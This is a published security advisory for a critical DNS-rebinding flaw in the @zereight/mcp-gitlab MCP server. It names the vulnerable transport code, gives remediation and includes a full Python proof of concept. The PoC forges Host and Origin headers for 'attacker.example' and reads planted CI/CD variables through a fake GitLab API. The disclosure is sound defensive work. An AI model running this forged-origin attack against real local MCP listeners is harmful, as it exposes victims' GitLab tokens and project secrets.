GHSA-vmp7-252j-cwp7: Critical severity npm/@zereight/mcp-gitlab vulnerability

Published Sep 15, 2026
·
Updated

@zereight/mcp-gitlab exposes its Streamable HTTP MCP endpoint without an effective Host or Origin allowlist. A malicious web page can use DNS rebinding to route browser requests to a victim's local MCP listener while preserving an attacker-controlled Host and Origin. The server accepts those headers and reaches the MCP initialization path instead of rejecting the request at the HTTP boundary.

This is CWE-350, Reliance on Reverse DNS Resolution for a Security-Critical Action. The affected package is @zereight/mcp-gitlab version 2.1.18 at commit 74a8c834424ff557ad8bc6f225e4dc5acf80aa13.

The vulnerable transport setup is in index.ts. Express JSON parsing is installed globally before any MCP route-level Host or Origin allowlist:

typescript // index.ts:12077 app.use(express.json());

registerDownloadProxy(app);

The Streamable HTTP transport is then created without the SDK DNS-rebinding controls:

typescript // index.ts:12375 transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), onsessioninitialized: (newSessionId: string) => { streamableTransports[newSessionId] = transport; metrics.totalSessions++; metrics.activeSessions++; }, });

The transport constructor does not set enableDnsRebindingProtection, allowedHosts, or allowedOrigins. The server also does not add an Express middleware that rejects unexpected Host or Origin headers before /mcp.

The default host is loopback, which is the exact target DNS rebinding attacks are designed to reach:

typescript // config.ts:192 export const HOST = getConfig("host", "HOST") || "127.0.0.1";

// config.ts:196 export const PORT = intEnv("PORT", "port", PORTDEFAULT);

The README documents Streamable HTTP as a supported transport for modern remote deployments and documents REMOTEAUTHORIZATION=true for multi-user HTTP deployments. In that mode, unauthenticated tools/list and material GitLab API tool calls are blocked by token checks. The Host/Origin defect is still present at the browser boundary: the server accepts attacker-controlled browser-origin headers and processes the MCP initialize request instead of rejecting the connection as cross-origin localhost access.

Proof of concept

The following reproduction uses a fake GitLab API with planted data. It proves the HTTP boundary failure and the token boundary separately:

- no-token initialize succeeds with attacker-controlled Host and Origin; - no-token tools/list is rejected with 401; - the same forged-origin flow with a planted Private-Token lists tools and calls listprojectvariables; - the fake GitLab API records the forwarded token and returns a planted fake project variable.

Start the fake GitLab API:

bash python3 - <<'PY' import json from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer from urllib.parse import parseqs, urlparse

WITNESS = "/tmp/zereight-gitlab-mcp-rebind-witness.jsonl" PROJECTID = "pluto/rebind-target" FAKESECRET = "glpat-FAKE-PROJECT-CI-SECRET-0001"

class Handler(BaseHTTPRequestHandler): def json(self, status, payload): data = json.dumps(payload).encode() self.sendresponse(status) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(data))) self.endheaders() self.wfile.write(data)

def record(self): parsed = urlparse(self.path) with open(WITNESS, "a", encoding="utf-8") as f: f.write(json.dumps({ "method": self.command, "path": parsed.path, "query": parseqs(parsed.query), "authorization": self.headers.get("authorization"), "privatetoken": self.headers.get("private-token"), "jobtoken": self.headers.get("job-token"), }, sortkeys=True) + "\n")

def doGET(self): self.record() path = urlparse(self.path).path if path == "/health": self.json(200, {"status": "ok"}) return if path.startswith("/api/v4/") and not ( self.headers.get("authorization") or self.headers.get("private-token") or self.headers.get("job-token") ): self.json(401, {"message": "401 Unauthorized", "missing": "GitLab token"}) return if path.endswith("/variables"): self.json(200, [{ "key": "PRODUCTIONDEPLOYTOKEN", "value": FAKESECRET, "protected": True, "masked": False, }]) return self.json(200, {"ok": True, "path": path})

def logmessage(self, fmt, args): return

ThreadingHTTPServer(("127.0.0.1", 18082), Handler).serveforever() PY

In a second terminal, run the affected MCP server:

bash git clone https://github.com/zereight/gitlab-mcp.git cd gitlab-mcp git checkout 74a8c834424ff557ad8bc6f225e4dc5acf80aa13 npm install npm run build

STREAMABLEHTTP=true \ REMOTEAUTHORIZATION=true \ HOST=127.0.0.1 \ PORT=8082 \ GITLABAPIURL=http://127.0.0.1:18082/api/v4 \ GITLABREADONLYMODE=true \ GITLABTOOLSETS=issues,projects,repository,ci \ GITLABTOOLS=listprojectvariables \ node build/index.js

In a third terminal, send MCP requests with attacker-controlled browser-origin headers:

bash python3 - <<'PY' import json import urllib.error import urllib.request

TARGET = "http://127.0.0.1:8082/mcp" REBINDHOST = "attacker.example:8082" ORIGIN = "http://" + REBINDHOST TOKEN = "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001"

def parserpc(text): stripped = text.strip() if stripped.startswith("{"): return [json.loads(stripped)] out = [] for line in stripped.splitlines(): line = line.strip() if line.startswith("data:"): out.append(json.loads(line[5:].strip())) return out

class Client: def init(self, token=None): self.sid = None self.token = token

def post(self, body): headers = { "Content-Type": "application/json", "Accept": "application/json, text/event-stream", "Host": REBINDHOST, "Origin": ORIGIN, } if self.token: headers["Private-Token"] = self.token if self.sid: headers["Mcp-Session-Id"] = self.sid headers["MCP-Protocol-Version"] = "2025-06-18" req = urllib.request.Request(TARGET, data=json.dumps(body).encode(), headers=headers, method="POST") try: with urllib.request.urlopen(req, timeout=20) as res: sid = res.headers.get("Mcp-Session-Id") or res.headers.get("mcp-session-id") if sid: self.sid = sid text = res.read().decode("utf-8", "replace") return res.status, parserpc(text), text except urllib.error.HTTPError as exc: text = exc.read().decode("utf-8", "replace") return exc.code, parserpc(text), text

def rpc(self, method, params=None, rid=1): body = {"jsonrpc": "2.0", "id": rid, "method": method} if params is not None: body["params"] = params status, messages, raw = self.post(body) for msg in messages: if msg.get("id") == rid: return status, msg, raw return status, {}, raw

def initialized(self): self.post({"jsonrpc": "2.0", "method": "notifications/initialized"})

def initialize(client, rid): return client.rpc("initialize", { "protocolVersion": "2025-06-18", "capabilities": {}, "clientInfo": {"name": "dns-rebind-check", "version": "1"}, }, rid)

unauth = Client() status, init, raw = initialize(unauth, 1) print("unauth initialize:", status, "session:", unauth.sid) unauth.initialized() status, listed, raw = unauth.rpc("tools/list", {}, 2) print("unauth tools/list:", status, raw[:200])

authed = Client(TOKEN) status, init, raw = initialize(authed, 3) print("token initialize:", status, "session:", authed.sid) authed.initialized() status, listed, raw = authed.rpc("tools/list", {}, 4) tools = [tool["name"] for tool in listed["result"]["tools"]] print("listed listprojectvariables:", "listprojectvariables" in tools) status, called, raw = authed.rpc("tools/call", { "name": "listprojectvariables", "arguments": {"projectid": "pluto/rebind-target"}, }, 5) print(raw) PY

Observed output:

text unauth initialize: 200 session: <uuid> unauth tools/list: 401 {"error":"Missing Private-Token, JOB-TOKEN, or Authorization header","message":"Remote authorization is enabled. Please provide Private-Token, JOB-TOKEN, or Authorization header."} token initialize: 200 session: <uuid> listed listprojectvariables: True [ { "key": "PRODUCTIONDEPLOYTOKEN", "value": "glpat-FAKE-PROJECT-CI-SECRET-0001", "protected": true, "masked": false } ]

The fake GitLab API witness records that the MCP server forwarded the token to the backend request:

json {"authorization": null, "jobtoken": null, "method": "GET", "path": "/api/v4/projects/pluto%2Frebind-target/variables", "privatetoken": "glpat-FAKE-ZEREIGHT-REBIND-TOKEN-0001", "query": {}}

Impact

A malicious web page can reach a local @zereight/mcp-gitlab Streamable HTTP listener through DNS rebinding because the server accepts attacker-controlled Host and Origin headers. In the current remote-authorization mode, token checks block unauthenticated tools/list and material GitLab API calls. The remaining security failure is still real: the browser-origin boundary is not enforced, and any deployment mode or client flow that makes a GitLab token browser-suppliable or reuses an authenticated MCP session can expose GitLab tools to the attacker page.

The confirmed impact is:

- attacker-origin browser traffic reaches the local MCP initialize path; - server-side Host and Origin validation are absent on /mcp; - tool discovery and GitLab API tool execution work through the same forged-origin path when a token is present; - GitLab API calls execute with the supplied token and can return sensitive project data such as CI/CD variables.

Why this is a vulnerability, not intended behavior

- The server uses loopback binding as the local safety boundary. DNS rebinding bypasses that boundary from the victim browser unless the server enforces an allowlist for Host and Origin. - The MCP TypeScript SDK provides DNS-rebinding controls for Streamable HTTP. This server constructs StreamableHTTPServerTransport without enabling those controls and does not add an equivalent Express guard. - REMOTEAUTHORIZATION=true protects tool calls that lack a token, but it does not protect the HTTP transport from cross-origin browser access. Authentication and Host/Origin validation are separate controls.

Remediation

Enable the SDK DNS-rebinding protection on the Streamable HTTP transport:

typescript transport = new StreamableHTTPServerTransport({ sessionIdGenerator: () => randomUUID(), enableDnsRebindingProtection: true, allowedHosts: [ 127.0.0.1:${PORT}, localhost:${PORT}, ], allowedOrigins: [ http://127.0.0.1:${PORT}, http://localhost:${PORT}, ], onsessioninitialized: (newSessionId: string) => { streamableTransports[newSessionId] = transport; }, });

Add an Express middleware before /mcp that rejects unexpected Host and Origin values. Apply the same policy to SSE if that transport remains supported. Document the default-safe Host/Origin values and require explicit operator configuration for non-loopback deployments.

Affected Software

1 affected componentFixes available
npm/@zereight/mcp-gitlab<2.1.30
2.1.30

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@zereight/mcp-gitlab to a version that resolves this vulnerability.

    Fixed in 2.1.30
  2. Upgrade

    Upgrade @zereight/mcp-gitlab to a version that resolves this vulnerability.

    Fixed in 2.1.18Patch 74a8c834424ff557ad8bc6f225e4dc5acf80aa13
  3. Configuration

    Enable the SDK DNS-rebinding protection on the Streamable HTTP transport (in index.ts, construct StreamableHTTPServerTransport with enableDnsRebindingProtection: true).

    @zereight/mcp-gitlab (StreamableHTTPServerTransport) enableDnsRebindingProtection = true
  4. Configuration

    Add an Express middleware before the /mcp route that rejects unexpected attacker-controlled Host and Origin headers (and apply the same policy to SSE if that transport remains supported).

    @zereight/mcp-gitlab (Express app) Host/Origin validation middleware = reject unexpected values
  5. Configuration

    Configure the StreamableHTTPServerTransport to use Host/Origin allowlists (set allowedHosts and allowedOrigins on the transport constructor instead of leaving them unset).

    @zereight/mcp-gitlab (StreamableHTTPServerTransport) allowedHosts/allowedOrigins = set allowlists

Event History

Sep 15, 2026
Advisory Published
via GitHub·08:54 PM
Data Sourced
via GitHub·08:54 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who is exposed to this issue?

Deployments of @zereight/mcp-gitlab version 2.1.18 that expose the Streamable HTTP MCP endpoint are affected. A victim must be induced to visit a malicious web page that performs the DNS-rebinding attack against the local MCP listener.

2

What does an attacker need to exploit it?

The attacker does not need prior privileges, but exploitation requires user interaction: a victim must load an attacker-controlled web page. The attack relies on DNS rebinding to send browser requests to the victim's local listener while retaining attacker-controlled Host and Origin headers.

3

Are Host and Origin header checks effective in the affected version?

No. The affected transport is created without the SDK DNS-rebinding controls, and there is no effective route-level Host or Origin allowlist before requests reach MCP initialization.

4

How can I determine whether my deployment is affected?

Check whether you are running @zereight/mcp-gitlab version 2.1.18 at commit 74a8c834424ff557ad8bc6f225e4dc5acf80aa13. The vulnerable setup is in index.ts, where Express JSON parsing is installed globally and the StreamableHTTPServerTransport is created without DNS-rebinding controls.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203